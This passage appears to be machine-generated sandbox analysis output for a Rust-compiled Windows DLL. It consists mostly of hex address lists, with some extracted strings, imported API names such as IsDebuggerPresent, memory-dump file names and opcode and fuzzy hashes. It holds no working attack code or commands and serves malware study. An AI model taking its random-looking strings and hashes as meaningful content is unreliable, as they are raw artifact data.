0x6e7ab91a
0x6e7ab91b
0x6e7ab921
0x6e7ab923
0x6e7ab926
0x6e7ab958
0x6e7ab958
0x6e7ab958
0x6e7ab95b
0x6e7ab95b
0x6e7ab95d
0x00000000
0x6e7ab928
0x6e7ab928
0x6e7ab928
0x6e7ab92c
0x6e7ab92e
0x6e7ab963
0x6e7ab963
0x6e7ab965
0x6e7ab930
0x6e7ab930
0x6e7ab933
0x6e7ab934
0x6e7ab934
0x6e7ab972
0x6e7ab976
0x6e7ab978
0x6e7ab97e
0x00000000
0x6e7ab984
0x6e7ab984
0x00000000
0x6e7ab984
0x6e7ab97e
0x6e7ab926
0x6e7ab915
0x6e7ab90d
0x6e7ab8d7
0x6e7ab8d7
0x6e7ab8d7
0x6e7ab8da
0x6e7ab990
0x6e7ab990
0x6e7ab993
0x6e7ab996
0x6e7ab9ae
0x6e7ab9ae
0x6e7ab9b2
0x00000000
0x6e7ab9b8
0x6e7ab9b8
0x6e7ab9ba
0x6e7ab9bd
0x6e7ab9bf
0x00000000
0x6e7ab9c5
0x00000000
0x6e7ab9c5
0x6e7ab9bf
0x6e7ab998
0x6e7ab9a6
0x6e7ab9a9
0x6e7ab9ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab9ac
0x6e7ab996
0x6e7ab8d5
0x6e7ab8c7
0x6e7ab8b9
0x6e7ab8b0
0x6e7ab8a5
0x6e7ab89d
0x6e7ab842
0x6e7ac1ab
0x6e7ac1ab
0x6e7ac1ad
0x6e7ac1e7
0x6e7ac1e7
0x6e7ac1e8
0x6e7ac1ea
0x6e7ac1ef
0x6e7ac1f2
0x6e7ac1f4
0x6e7ac1f4
0x6e7ac1f7
0x6e7ac1f9
0x6e7ac1fe
0x6e7ac1ff
0x6e7ac1ff
0x6e7ac200
0x6e7ac205
0x6e7ac208
0x6e7ac20a
0x6e7ac20a
0x6e7ac20f
0x6e7ac211
0x6e7ac218
0x6e7ac21d
0x6e7ac220
0x6e7ac222
0x6e7ac222
0x6e7ac224
0x6e7ac226
0x6e7ac260
0x6e7ac260
0x6e7ac261
0x6e7ac263
0x6e7ac26b
0x6e7ac26d
0x6e7ac279
0x6e7ac281
0x6e7ac283
0x6e7ac284
0x6e7ac285
0x6e7ac286
0x6e7ac287
0x6e7ac288
0x6e7ac289
0x6e7ac28a
0x6e7ac28b
0x6e7ac28c
0x6e7ac28d
0x6e7ac28e
0x6e7ac28f
0x6e7ac290
0x6e7ac2a7
0x6e7ac2a7
0x6e7ab840
0x6e7ab833
0x6e7ab82a
0x00000000
0x6e7ab822
0x6e7ab6a0
0x6e7ac120
0x6e7ac120
0x6e7ac120
0x00000000
0x6e7ab5d6
0x6e7ab5dc
0x6e7ab5e1
0x6e7ab5e5
0x6e7ab5e9
0x6e7ab5f1
0x6e7ab5f9
0x6e7ab606
0x6e7ab60e
0x6e7ac122
0x6e7ac129
0x6e7ac129
0x6e7aaa11
0x6e7aaa15
0x6e7aaa15
0x6e7aaa18
0x6e7aaa1c
0x6e7aaa1f
0x6e7aaa21
0x00000000
0x6e7aaa23
0x6e7aaa25
0x6e7aaa29
0x6e7aaa35
0x00000000
0x6e7aaa35
0x6e7aaa21
0x00000000
0x6e7aaa0b
0x6e7aaa40
0x6e7aaa42
0x6e7aaa46
0x6e7aaa4a
0x6e7aaa50
0x6e7aaa50
0x6e7aaa54
0x00000000
0x00000000
0x6e7aaa5a
0x6e7aaa5b
0x6e7aaa5f
0x6e7ab54f
0x6e7ab54f
0x6e7ab553
0x00000000
0x6e7aaa65
0x6e7aaa65
0x6e7aaa68
0x6e7aaa6c
0x6e7aaa6e
0x6e7ab528
0x6e7ab52a
0x6e7ab52c
0x00000000
0x6e7aaa74
0x6e7aaa74
0x6e7aaa78
0x6e7aaa80
0x6e7aaa83
0x6e7aaa85
0x00000000
0x6e7aaa87
0x6e7aaa8b
0x6e7aaa8f
0x00000000
0x6e7aaa8f
0x6e7aaa85
0x6e7aaa6e
0x00000000
0x6e7aaa5f
0x6e7aabf5
0x6e7aabf5
0x6e7aabfb
0x6e7aabfb
0x6e7aabfe
0x6e7aac1c
0x6e7aac1c
0x6e7aac1f
0x6e7aac4f
0x6e7aac56
0x6e7aac5a
0x6e7aac5d
0x6e7aac74
0x6e7aac74
0x6e7aac77
0x6e7aac7a
0x6e7aac7d
0x6e7aac7f
0x6e7aac90
0x6e7aac92
0x6e7aacc8
0x6e7aacca
0x6e7aaccc
0x6e7aaccf
0x6e7aacd2
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aac94
0x6e7aac94
0x6e7aac98
0x6e7aac9b
0x6e7aac9e
0x6e7aaca1
0x6e7aaca4
0x6e7aacd4
0x6e7aacd4
0x00000000
0x6e7aaca6
0x6e7aaca6
0x6e7aaca6
0x6e7aaca8
0x6e7aacdb
0x6e7aace0
0x6e7aace2
0x6e7aace5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aacaa
0x6e7aacad
0x6e7aacb4
0x6e7aacb6
0x6e7aacb9
0x6e7aace7
0x6e7aace7
0x6e7aace7
0x6e7aacea
0x6e7aacea
0x6e7aacec
0x00000000
0x6e7aacbb
0x6e7aacbb
0x6e7aacbb
0x6e7aacbd
0x6e7aacf2
0x6e7aacf2
0x6e7aacf4
0x6e7aacbf
0x6e7aacc2
0x6e7aacc3
0x6e7aacc3
0x6e7aad01
0x6e7aad03
0x6e7aad09
0x6e7aad0b
0x6e7aad0f
0x00000000
0x6e7aad15
0x6e7aad15
0x00000000
0x6e7aad15
0x6e7aad0f
0x6e7aacb9
0x6e7aaca8
0x6e7aaca4
0x6e7aac81
0x6e7aac81
0x6e7aad20
0x6e7aad20
0x6e7aad23
0x6e7aad26
0x00000000
0x6e7aad2c
0x6e7aad2c
0x6e7aad2f
0x00000000
0x6e7aad31
0x6e7aad31
0x6e7aad34
0x00000000
0x6e7aad3a
0x6e7aad3a
0x6e7aad3d
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aad3d
0x6e7aad34
0x6e7aad2f
0x6e7aad26
0x00000000
0x6e7aac70
0x6e7aac70
0x6e7aac70
0x00000000
0x6e7aac21
0x6e7aac21
0x6e7aac21
0x6e7aac23
0x6e7ab476
0x6e7ab476
0x00000000
0x6e7aac29
0x6e7aac29
0x6e7aac2c
0x6e7aac2e
0x6e7aac32
0x6e7aae23
0x6e7aae27
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aac38
0x6e7aac38
0x6e7aac3c
0x6e7aac40
0x6e7aae2d
0x6e7aae2d
0x6e7aae2f
0x6e7aae32
0x6e7aae37
0x6e7aae38
0x00000000
0x6e7aac46
0x6e7aac46
0x6e7aad4e
0x6e7aad4e
0x6e7aad53
0x6e7aad7d
0x6e7aad80
0x6e7aadfc
0x6e7aae01
0x6e7aae06
0x6e7aae0b
0x6e7aae49
0x00000000
0x6e7aae0d
0x6e7aae0d
0x6e7aae11
0x00000000
0x6e7aae13
0x6e7aae13
0x6e7aae15
0x6e7aae19
0x00000000
0x6e7aae19
0x6e7aae11
0x00000000
0x00000000
0x00000000
0x6e7aad55
0x6e7aad55
0x6e7aad5a
0x6e7aad5f
0x6e7aad67
0x6e7aad82
0x6e7aad85
0x6e7aad8a
0x6e7aadd5
0x6e7aadda
0x6e7aaddf
0x6e7aade4
0x6e7aae3f
0x00000000
0x6e7aade6
0x6e7aade6
0x6e7aadea
0x00000000
0x6e7aadec
0x6e7aadec
0x6e7aadee
0x6e7aadf2
0x00000000
0x6e7aadf2
0x6e7aadea
0x6e7aad8c
0x6e7aad8c
0x6e7aad91
0x6e7ab16f
0x6e7ab16f
0x6e7ab174
0x6e7ab1d4
0x6e7ab1d9
0x6e7ab1de
0x00000000
0x6e7ab1e4
0x6e7ab1e4
0x6e7ab1e7
0x6e7ab1ef
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab1ef
0x00000000
0x00000000
0x00000000
0x6e7aad97
0x6e7aad97
0x6e7aad9d
0x6e7ab176
0x6e7ab179
0x6e7ab17e
0x6e7ab213
0x6e7ab216
0x6e7ab218
0x6e7ab572
0x6e7ab574
0x6e7ab578
0x6e7ab57d
0x6e7ab57d
0x6e7ab57e
0x00000000
0x6e7ab21e
0x6e7ab21e
0x6e7ab221
0x6e7ab228
0x6e7ab22a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab22a
0x6e7ab184
0x6e7ab184
0x6e7ab187
0x6e7ab1f5
0x6e7ab1f5
0x6e7ab1f8
0x6e7ab1fa
0x00000000
0x6e7ab200
0x6e7ab200
0x6e7ab203
0x6e7ab20a
0x6e7ab20c
0x00000000
0x6e7ab20e
0x00000000
0x6e7ab20e
0x6e7ab20c
0x6e7ab189
0x6e7ab189
0x6e7ab18e
0x6e7ab193
0x00000000
0x6e7ab199
0x6e7ab1a8
0x6e7ab1ab
0x6e7ab1b0
0x00000000
0x6e7ab1b6
0x6e7ab1b6
0x6e7ab1b9
0x6e7ab1bb
0x6e7ab5a8
0x6e7ab5a8
0x6e7ab5aa
0x6e7ab5ae
0x6e7ab5b3
0x6e7ab5b3
0x6e7ab5b4
0x00000000
0x6e7ab1c1
0x6e7ab1c1
0x6e7ab1c4
0x6e7ab1cb
0x6e7ab1cd
0x6e7ab230
0x6e7ab230
0x6e7ab234
0x6e7ab236
0x6e7ab240
0x6e7ab240
0x6e7ab242
0x00000000
0x00000000
0x6e7ab244
0x6e7ab248
0x6e7ab24b
0x00000000
0x6e7ab24d
0x00000000
0x6e7ab24d
0x00000000
0x6e7ab24b
0x6e7ab252
0x6e7ab257
0x6e7ab25b
0x6e7ab265
0x6e7ab269
0x6e7ab271
0x6e7ab279
0x6e7ab281
0x6e7ab28e
0x6e7ab290
0x6e7ab582
0x6e7ab58e
0x6e7ab59e
0x6e7ab5a3
0x6e7ab5a6
0x00000000
0x6e7ab296
0x6e7ab296
0x6e7ab29b
0x6e7ab29f
0x00000000
0x6e7ab2a5
0x6e7ab2a5
0x6e7ab2a9
0x6e7ab2ad
0x6e7ab2b1
0x6e7ab2b3
0x6e7ab48d
0x6e7ab48d
0x00000000
0x6e7ab2b9
0x6e7ab2b9
0x6e7ab2c3
0x6e7ab2c6
0x6e7ab489
0x00000000
0x6e7ab2cc
0x6e7ab2d4
0x6e7ab2d9
0x6e7ab2dd
0x6e7ab2e1
0x6e7ab2ef
0x6e7ab2f7
0x6e7ab304
0x6e7ab306
0x00000000
0x6e7ab30c
0x6e7ab30c
0x6e7ab311
0x6e7ab315
0x6e7ab31a
0x00000000
0x6e7ab320
0x6e7ab324
0x6e7ab328
0x6e7ab32c
0x6e7ab491
0x6e7ab491
0x6e7ab493
0x6e7ab4b7
0x6e7ab4b7
0x6e7ab4bb
0x6e7ab4bd
0x6e7ab4c5
0x6e7ab4c7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab495
0x6e7ab495
0x6e7ab497
0x6e7ab4b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab499
0x6e7ab499
0x6e7ab49d
0x6e7ab4a1
0x00000000
0x6e7ab4a3
0x6e7ab4a3
0x6e7ab4a3
0x6e7ab4a5
0x6e7ab4a9
0x6e7ab4ae
0x6e7ab4af
0x00000000
0x6e7ab4af
0x6e7ab4a1
0x6e7ab497
0x6e7ab493
0x6e7ab31a
0x6e7ab306
0x6e7ab2c6
0x6e7ab2b3
0x6e7ab29f
0x6e7ab1cf
0x00000000
0x6e7ab1cf
0x6e7ab1cd
0x6e7ab1bb
0x6e7ab1b0
0x6e7ab193
0x6e7ab187
0x6e7aada3
0x6e7aada3
0x6e7aada8
0x6e7aadad
0x6e7aadb2
0x6e7aae53
0x00000000
0x6e7aadb8
0x6e7aadb8
0x6e7aadbc
0x6e7aae5b
0x6e7aae5b
0x6e7aae5f
0x6e7aae5f
0x6e7aae61
0x6e7aae68
0x6e7aae6c
0x6e7aae70
0x6e7aae70
0x6e7aae72
0x00000000
0x00000000
0x6e7aae74
0x6e7aae75
0x6e7aae78
0x6e7aae7b
0x00000000
0x6e7aae7d
0x00000000
0x6e7aae7d
0x00000000
0x6e7aae7b
0x6e7aae82
0x6e7aae84
0x00000000
0x6e7aae8a
0x6e7aae8a
0x6e7aae8e
0x6e7aae92
0x6e7aae97
0x6e7aae9b
0x6e7aae9e
0x6e7aaea0
0x6e7aaf2c
0x6e7aaf2c
0x6e7aaea6
0x6e7aaea6
0x6e7aaeaa
0x6e7aaeac
0x6e7aaeaf
0x6e7aaeb1
0x6e7aaeb5
0x6e7aaebc
0x6e7aaec0
0x6e7aaec0
0x6e7aaec0
0x6e7aaec3
0x6e7aaec6
0x6e7aaec9
0x6e7aaee3
0x00000000
0x6e7aaecb
0x6e7aaecb
0x6e7aaecf
0x6e7aaed1
0x6e7aaee7
0x6e7aaee7
0x6e7aaee9
0x6e7aaed3
0x6e7aaed3
0x6e7aaed6
0x6e7aaed7
0x6e7aaedb
0x6e7aaedb
0x6e7aaeee
0x6e7aaef0
0x6e7aaef3
0x6e7aaf08
0x6e7aaf0c
0x6e7aaf13
0x6e7aaef5
0x6e7aaef5
0x6e7aaef9
0x6e7aaf17
0x6e7aaf17
0x6e7aaefb
0x6e7aaefb
0x6e7aaefe
0x6e7aaeff
0x6e7aaf03
0x6e7aaf03
0x6e7aaf1c
0x6e7aaf28
0x6e7aaf28
0x6e7aaf2a
0x00000000
0x6e7aaf2a
0x6e7aaef3
0x6e7aaec9
0x6e7aaf30
0x6e7aaf34
0x6e7aaf37
0x6e7aaf3f
0x6e7ab335
0x00000000
0x6e7aaf45
0x6e7aaf45
0x6e7aaf4b
0x6e7aaf51
0x6e7aaf59
0x6e7aaf59
0x6e7aaf59
0x6e7aaf5c
0x6e7aaf5f
0x00000000
0x00000000
0x6e7aaf65
0x6e7aaf8c
0x6e7aaf91
0x6e7aaf96
0x6e7aaf98
0x6e7aaf9d
0x00000000
0x00000000
0x6e7aafa3
0x6e7aafa7
0x6e7aafa9
0x00000000
0x6e7aafaf
0x6e7aafaf
0x6e7aafb3
0x6e7aafb7
0x00000000
0x6e7aafbd
0x6e7aafbd
0x6e7aafc0
0x6e7aafc3
0x6e7aafc6
0x6e7aafc8
0x6e7aafd8
0x6e7aafdc
0x6e7aafde
0x6e7aafe0
0x6e7ab006
0x6e7ab008
0x6e7ab00c
0x6e7ab00f
0x6e7ab012
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aafe2
0x6e7aafe2
0x6e7aafe4
0x6e7aafef
0x6e7aaff3
0x6e7aaff5
0x6e7aaff8
0x6e7aaffb
0x6e7aaffe
0x6e7aaf69
0x6e7aaf69
0x6e7aaf70
0x6e7aaf70
0x6e7aaf72
0x00000000
0x6e7ab004
0x6e7ab018
0x6e7ab018
0x6e7ab01c
0x6e7ab01e
0x6e7ab056
0x6e7ab058
0x6e7ab05f
0x6e7ab061
0x6e7ab064
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab020
0x6e7ab024
0x6e7ab02a
0x6e7ab030
0x6e7ab032
0x6e7ab035
0x6e7ab066
0x6e7ab069
0x00000000
0x6e7ab037
0x6e7ab037
0x6e7ab037
0x6e7ab03b
0x6e7ab03f
0x6e7ab043
0x6e7ab045
0x6e7ab070
0x6e7ab070
0x6e7ab072
0x6e7ab047
0x6e7ab04b
0x6e7ab051
0x6e7ab051
0x6e7ab07c
0x6e7ab085
0x6e7ab087
0x6e7ab08d
0x6e7ab08f
0x00000000
0x6e7ab095
0x00000000
0x6e7ab095
0x6e7ab08f
0x6e7ab035
0x6e7ab01e
0x6e7aaffe
0x6e7aafca
0x6e7aafca
0x6e7aafce
0x6e7aafce
0x6e7aafd2
0x6e7aaf80
0x6e7aaf80
0x6e7aaf83
0x6e7aaf86
0x6e7ab09a
0x6e7ab09e
0x6e7ab0a0
0x6e7ab0c7
0x6e7ab0c7
0x6e7ab0c9
0x00000000
0x00000000
0x6e7ab0cf
0x6e7ab0d2
0x6e7ab0d5
0x6e7ab0d8
0x6e7ab0da
0x6e7ab0be
0x6e7ab0c2
0x00000000
0x6e7ab0dc
0x6e7ab0dc
0x6e7ab0de
0x6e7ab0ff
0x6e7ab101
0x6e7ab103
0x6e7ab106
0x6e7ab109
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab0e0
0x6e7ab0e0
0x6e7ab0e4
0x6e7ab0e7
0x6e7ab0ea
0x6e7ab0ed
0x6e7ab0f0
0x6e7ab10b
0x6e7ab10b
0x6e7ab112
0x00000000
0x6e7ab0f2
0x6e7ab0f2
0x6e7ab0f2
0x6e7ab0f4
0x6e7ab116
0x6e7ab118
0x6e7ab118
0x6e7ab0f6
0x6e7ab0f6
0x6e7ab0f9
0x6e7ab0fa
0x6e7ab0fa
0x6e7ab11d
0x6e7ab11f
0x6e7ab122
0x6e7ab135
0x6e7ab139
0x6e7ab140
0x00000000
0x6e7ab124
0x6e7ab124
0x6e7ab128
0x6e7ab12a
0x6e7ab144
0x6e7ab144
0x6e7ab146
0x6e7ab12c
0x6e7ab12c
0x6e7ab12f
0x6e7ab130
0x6e7ab130
0x6e7ab14e
0x6e7ab157
0x6e7ab159
0x6e7ab15d
0x6e7ab163
0x6e7ab165
0x6e7ab0c4
0x6e7ab0c4
0x6e7ab0c4
0x6e7ab0c5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab165
0x6e7ab122
0x6e7ab0f0
0x6e7ab0de
0x00000000
0x6e7ab0da
0x00000000
0x6e7ab0a2
0x6e7ab0a2
0x6e7ab0a2
0x6e7ab0a6
0x6e7ab0aa
0x6e7ab0ad
0x6e7ab0af
0x6e7ab0b3
0x00000000
0x6e7ab0b9
0x6e7ab33d
0x6e7ab33d
0x6e7ab341
0x6e7ab343
0x6e7ab4cd
0x6e7ab4cd
0x6e7ab4cd
0x00000000
0x6e7ab349
0x6e7ab349
0x6e7ab349
0x6e7ab34d
0x6e7ab350
0x00000000
0x6e7ab356
0x6e7ab356
0x6e7ab35a
0x6e7ab35e
0x6e7ab360
0x6e7ab362
0x6e7ab364
0x6e7ab367
0x6e7ab369
0x6e7ab420
0x6e7ab420
0x00000000
0x6e7ab36f
0x6e7ab38f
0x6e7ab391
0x6e7ab394
0x6e7ab396
0x6e7ab3ce
0x6e7ab3d0
0x6e7ab3d2
0x6e7ab3d5
0x6e7ab3d8
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab398
0x6e7ab39f
0x6e7ab3a1
0x6e7ab3a4
0x6e7ab3a7
0x6e7ab3aa
0x6e7ab3da
0x6e7ab3dd
0x00000000
0x6e7ab3ac
0x6e7ab3ac
0x6e7ab3ac
0x6e7ab3ae
0x6e7ab3e3
0x6e7ab3e8
0x6e7ab3ea
0x6e7ab3ed
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab3b0
0x6e7ab3b0
0x6e7ab3b3
0x6e7ab3ba
0x6e7ab3bc
0x6e7ab3bf
0x6e7ab3ef
0x6e7ab3f2
0x00000000
0x6e7ab3c1
0x6e7ab3c1
0x6e7ab3c1
0x6e7ab3c3
0x6e7ab3f6
0x6e7ab3f6
0x6e7ab3f8
0x6e7ab3c5
0x6e7ab3c5
0x6e7ab3c8
0x6e7ab3c9
0x6e7ab3c9
0x6e7ab405
0x6e7ab407
0x6e7ab40d
0x6e7ab423
0x6e7ab42b
0x6e7ab42e
0x6e7ab460
0x6e7ab460
0x6e7ab462
0x6e7ab380
0x6e7ab382
0x6e7ab384
0x6e7ab387
0x6e7ab389
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab430
0x6e7ab430
0x6e7ab433
0x6e7ab436
0x00000000
0x6e7ab438
0x6e7ab438
0x6e7ab43b
0x6e7ab43e
0x00000000
0x6e7ab440
0x6e7ab440
0x6e7ab443
0x6e7ab446
0x00000000
0x6e7ab448
0x6e7ab448
0x6e7ab44b
0x6e7ab44e
0x00000000
0x6e7ab450
0x6e7ab453
0x6e7ab456
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ab456
0x6e7ab44e
0x6e7ab446
0x6e7ab43e
0x6e7ab436
0x6e7ab40f
0x6e7ab468
0x6e7ab468
0x6e7ab46c
0x6e7ab470
0x6e7ab4cf
0x6e7ab4cf
0x6e7ab4d7
0x6e7ab4de
0x6e7ab4e1
0x6e7ab4e8
0x6e7ab4eb
0x6e7ab4f2
0x6e7ab4f5
0x6e7ab4f9
0x6e7ab4f9
0x6e7ab40d
0x6e7ab3bf
0x6e7ab3ae
0x6e7ab3aa
0x6e7ab396
0x6e7ab369
0x6e7ab350
0x00000000
0x6e7ab343
0x6e7ab0b3
0x00000000
0x00000000
0x00000000
0x6e7aaf86
0x6e7aafc8
0x6e7aafb7
0x00000000
0x6e7aafa9
0x6e7ab16b
0x6e7ab16b
0x00000000
0x6e7ab16b
0x6e7aaf59
0x00000000
0x6e7aaf4b
0x6e7aaf3f
0x6e7aadc2
0x6e7aadc2
0x6e7aadc4
0x6e7aadc8
0x6e7aadcd
0x6e7aadce
0x00000000
0x6e7aadce
0x6e7aadbc
0x6e7aadb2
0x6e7aad9d
0x6e7aad91
0x6e7aad69
0x6e7ab47b
0x6e7ab47b
0x6e7ab47f
0x6e7ab488
0x6e7ab488
0x6e7aad67
0x6e7aad53
0x6e7aac40
0x6e7aac32
0x6e7aac23
0x6e7aac00
0x6e7aac00
0x6e7aac03
0x6e7aac1a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7aac05
0x6e7aac05
0x6e7aac09
0x00000000
0x6e7aac0b
0x6e7aac0b
0x6e7aac0b
0x6e7aac0e
0x6e7aac13
0x6e7aac14
0x00000000
0x6e7aac14
0x6e7aac09
0x6e7aac03
0x6e7aabfe
0x00000000
0x6e7aa99c
0x6e7aa9a0
0x6e7aa9a4
0x6e7aa9a7
0x00000000
0x6e7aa9af
0x6e7aa901
0x6e7aa8ef
0x00000000

Strings

h, xrefs: 6E7AB8AB
.llvm.C:krlaoyielwznvejuafezypqcocmjtjjtbijbqwlufiemtvzrncrsqklaorfwhkaclbsrhxcyxfrzrgfapvzyvasietlisocljucmq, xrefs: 6E7AA8AD
called `Result::unwrap()` on an `Err` value, xrefs: 6E7AC14D
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6E7AB589
.assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6E7ABCC4, 6E7AC087
called `Option::unwrap()` on a `None` value, xrefs: 6E7AC12E
SizeLimitExhausted, xrefs: 6E7AC299
@*&<>()C,, xrefs: 6E7AC030, 6E7AC0F2
__ZN, xrefs: 6E7AAD97
$, xrefs: 6E7ABBF3
$, xrefs: 6E7ABBE3

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed$.llvm.C:krlaoyielwznvejuafezypqcocmjtjjtbijbqwlufiemtvzrncrsqklaorfwhkaclbsrhxcyxfrzrgfapvzyvasietlisocljucmq$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-351887750
Opcode ID: c9ddb1787137670ee5ee0a2684f947912a102dc5bd2de4016c03c41d5f867af1
Instruction ID: 819bf3565e377fdef07ce7b32d552ff5897c5ee59b8abf8b3949875fdbfda394
Opcode Fuzzy Hash: c9ddb1787137670ee5ee0a2684f947912a102dc5bd2de4016c03c41d5f867af1
Instruction Fuzzy Hash: 02E218716083569FD314CF9CC69065ABBE2ABC5310F148B2DE6E58B3B9D731E845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A6070, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

)C,, xrefs: 6E7AA3BD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A64D9
_, xrefs: 6E7AA50B
_, xrefs: 6E7AA51B
{recursion limit reached}{invalid syntax}, xrefs: 6E7AA605
H, xrefs: 6E7A61A9
called `Option::unwrap()` on a `None` value, xrefs: 6E7AA86F
" fn( -> = { }truefalse{0x, xrefs: 6E7AA6D9

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: 08a546e63d6c6b86c70695839c7b75940de78985351eaf2f3b50bd2e110f0367
Instruction ID: 3e2e117b998ef0c1a6b9425bbd90728773066c8854ce47bd1109edf2fdb6ac4b
Opcode Fuzzy Hash: 08a546e63d6c6b86c70695839c7b75940de78985351eaf2f3b50bd2e110f0367
Instruction Fuzzy Hash: 896213707183418FE7548EEDD65075BB7E2AF85304F048A3CEA998B3A5E771D90ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A77B4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E7A78E3
__aulldiv.LIBCMT ref: 6E7A78F3

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A77C2, 6E7A7C19
{recursion limit reached}{invalid syntax}, xrefs: 6E7A7DC6
called `Option::unwrap()` on a `None` value, xrefs: 6E7A7B7C
bool, xrefs: 6E7A7A4B

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: 5c2647460497c8ee366a73a092b3d9db73ef4c1b05f6e9143b8c297c88d0fc26
Instruction ID: 96f0754ea28565d6da3975ebd0ec0ee2e5c348938cd3f23d6ab35e38089e4100
Opcode Fuzzy Hash: 5c2647460497c8ee366a73a092b3d9db73ef4c1b05f6e9143b8c297c88d0fc26
Instruction Fuzzy Hash: 62E116716087418FD714CFACC69076ABBE1AF86314F14876ED5998B3EAD334E846CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BAB0C, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E7BAB18
IsDebuggerPresent.KERNEL32 ref: 6E7BABE4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E7BAC04
UnhandledExceptionFilter.KERNEL32(?), ref: 6E7BAC0E

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fb04739c89b7d33adf9c5e6e65f99ec8cd52a71c69957acee87bee99d0ccd053
Instruction ID: 15a0b9567f18bfac02db2d2021fb2eb3da6c04d4fc815be2b2c96f606b7482a1
Opcode Fuzzy Hash: fb04739c89b7d33adf9c5e6e65f99ec8cd52a71c69957acee87bee99d0ccd053
Instruction Fuzzy Hash: 70311875D053189FEF50DFA4DA89BCDBBB8AF08704F1044AAE40DAB250EB705A848F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0326, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

